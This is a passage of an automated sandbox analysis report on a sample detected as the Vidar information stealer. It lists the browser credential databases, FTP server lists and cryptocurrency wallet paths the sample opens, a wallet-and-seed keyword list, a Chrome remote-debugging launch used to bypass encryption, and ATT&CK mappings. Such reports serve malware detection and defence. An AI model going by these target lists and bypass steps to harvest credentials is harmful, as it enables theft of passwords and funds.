Source: Wake.com, 0000000C.00000002.2166362758.000000000378F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: Wake.com, 0000000C.00000002.2166362758.000000000378F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Wake.com, 0000000C.00000002.2166362758.000000000378F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: Wake.com, 0000000C.00000002.2167206573.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\
Source: Wake.com, 0000000C.00000002.2167206573.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: Wake.com, 0000000C.00000002.2167206573.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: Wake.com, 0000000C.00000002.2167206573.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: Wake.com, 0000000C.00000002.2167206573.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: Wake.com, 0000000C.00000002.2165101677.000000000122F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,bcex.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,eth.,recovery.,.kdbx,ngrave.,safepal.,ellipal.,UTC-.,bitgo.,nano.txt,bitstamp.,bittrex.,xrp.,phrase.,ripple.,doge.,cardano.,daedalus.,.kdb,phantom.*
Source: Wake.com, 0000000C.00000002.2165101677.000000000122F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,bcex.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,eth.,recovery.,.kdbx,ngrave.,safepal.,ellipal.,UTC-.,bitgo.,nano.txt,bitstamp.,bittrex.,xrp.,phrase.,ripple.,doge.,cardano.,daedalus.,.kdb,phantom.*
Source: Wake.com, 0000000C.00000002.2169810322.0000000005B8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: Wake.com, 0000000C.00000002.2167206573.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \MultiDoge\
Source: Wake.com, 0000000C.00000002.2166362758.000000000378F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Wake.com, 0000000C.00000002.2167206573.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: Wake.com, 0000000C.00000002.2167206573.0000000003A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: Wake.com, 0000000C.00000002.2167206573.00000000039C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 83.217.208.144ontdesk\AppData\Roaming\Electrum-LTC\wallets\.I

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\minidumps\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\temporary\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\default\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\to-be-removed\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\tmp\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\db\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\events\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\bookmarkbackups\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\y572q81e.default\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\security_state\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Wake.com	Binary or memory string: WIN_81
Source: Wake.com	Binary or memory string: WIN_XP
Source: Wake.com.1.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: Wake.com	Binary or memory string: WIN_XPe
Source: Wake.com	Binary or memory string: WIN_VISTA
Source: Wake.com	Binary or memory string: WIN_7
Source: Wake.com	Binary or memory string: WIN_8

Source: Yara match	File source: 0000000C.00000002.2166362758.0000000003710000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Wake.com PID: 5716, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: Wake.com PID: 5716, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D82263 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		12_2_00D82263
Source: C:\Users\user\AppData\Local\Temp\714380\Wake.com	Code function: 12_2_00D81C61 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		12_2_00D81C61

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	1 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Valid Accounts	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	1 DLL Side-Loading	NTDS	26 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 Extra Window Memory Injection	LSA Secrets	1 Query Registry	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	12 Process Injection	111 Masquerading	Cached Domain Credentials	131 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Valid Accounts	DCSync	11 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Virtualization/Sandbox Evasion	Proc Filesystem	4 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	11 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
jPKFh06jHI.exe	42%	ReversingLabs	Win32.Spyware.Vidar
jPKFh06jHI.exe	35%	Virustotal		Browse
SAMPLE	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\714380\Wake.com	0%	ReversingLabs

Source	Detection	Scanner	Label
https://49.13.158.58/	0%	Avira URL Cloud	safe
https://49.13.158.58N	0%	Avira URL Cloud	safe
https://49.13.158.58hello	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	high
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
ax-0003.ax-msedge.net	150.171.27.12	true	false	high
plus.l.google.com	142.251.40.206	true	false	high
ax-0002.ax-msedge.net	150.171.27.11	true	false	high
a416.dscd.akamai.net	23.204.152.207	true	false	high
a-0003.a-msedge.net	204.79.197.203	true	false	high
c-msn-pme.trafficmanager.net	20.110.205.119	true	false	high
ax-0001.ax-msedge.net	150.171.28.10	true	false	high
a233.dscd.akamai.net	23.219.161.138	true	false	high
ogads-pa.clients6.google.com	142.251.35.170	true	false	high
play.google.com	142.250.65.206	true	false	high
sb.scorecardresearch.com	108.139.47.92	true	false	high
www.google.com	142.251.40.164	true	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
xKhthobNhGNvUPqyvDy.xKhthobNhGNvUPqyvDy	unknown	unknown	false	unknown
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1744042213733&w=0&NoResponseBody=true	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true	false		high
https://ntp.msn.com/bundles/v1/edgeChromium/latest/web-worker.82b01c49017b9c3eff0d.js	false		high
https://assets.msn.com/bundles/v1/edgeChromium/latest/common.c28ba8b4fe1e29635352.js	false		high
https://49.13.158.58/	true	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199839170361	false		high
https://sb.scorecardresearch.com/b?rn=1744042209964&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0CD6EFCADE7267A82236FA0DDF1066E0&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high
https://ntp.msn.com/bundles/v1/edgeChromium/latest/SSR-extension.828d19e24cc86fbcd5c9.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Web Data.28.dr	false		high
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	sriwln.12.dr	false		high
http://cert.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.cer0Q	jPKFh06jHI.exe	false		high
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000010.00000002.1345257733.0000203C00440000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.com/0	000003.log7.28.dr	false		high
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000010.00000002.1347387744.0000203C008C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/J	chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000010.00000002.1349046088.0000203C00D4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1346779867.0000203C0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348332900.0000203C00AB0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.com/_default	QuotaManager.28.dr	false		high
http://ocsps.ssl.com0?	jPKFh06jHI.exe	false		high
http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0	jPKFh06jHI.exe	false		high
https://blog.google/products/chrome/google-chrome-safe-browsing-real-time/	chrome.exe, 00000010.00000002.1347876155.0000203C009E0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.28.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.28.dr	false		high
https://support.google.com/chrome?p=desktop_tab_groups	chrome.exe, 00000010.00000002.1346026583.0000203C00598000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1288960343.0000203C0058C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://dns-tunnel-check.googlezip.net/connect	chrome.exe, 00000010.00000002.1350258536.0000203C0110C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	manifest.json0.28.dr	false		high
https://docs.google.com/document/:	chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com	c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	false		high
https://mail.google.com/chat/	chrome.exe, 00000010.00000002.1351127345.0000203C01324000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1350258536.0000203C0110C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1272422800.0000203C010C5000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1350144150.0000203C010C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.instagram.com	c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	false		high
http://unisolated.invalid/	chrome.exe, 00000010.00000002.1349433562.0000203C00E5C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/tips/	chrome.exe, 00000010.00000002.1349046088.0000203C00D4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348776929.0000203C00C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1351825929.0000203C01510000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/?lfhs=2	chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000010.00000002.1350848860.0000203C0124C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299573499.0000203C01558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	false		high
http://developer.chrome.com/docs/extensions/how-to/distribute/install-extensions)	chrome.exe, 00000010.00000002.1347743567.0000203C009A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1344072027.0000203C000E8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.office.com/mail/compose?isExtension=true	c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	false		high
https://i.y.qq.com/n2/m/index.html	c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	false		high
https://www.deezer.com/	c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	false		high
https://www.youtube.com/?feature=ytca	chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	false		high
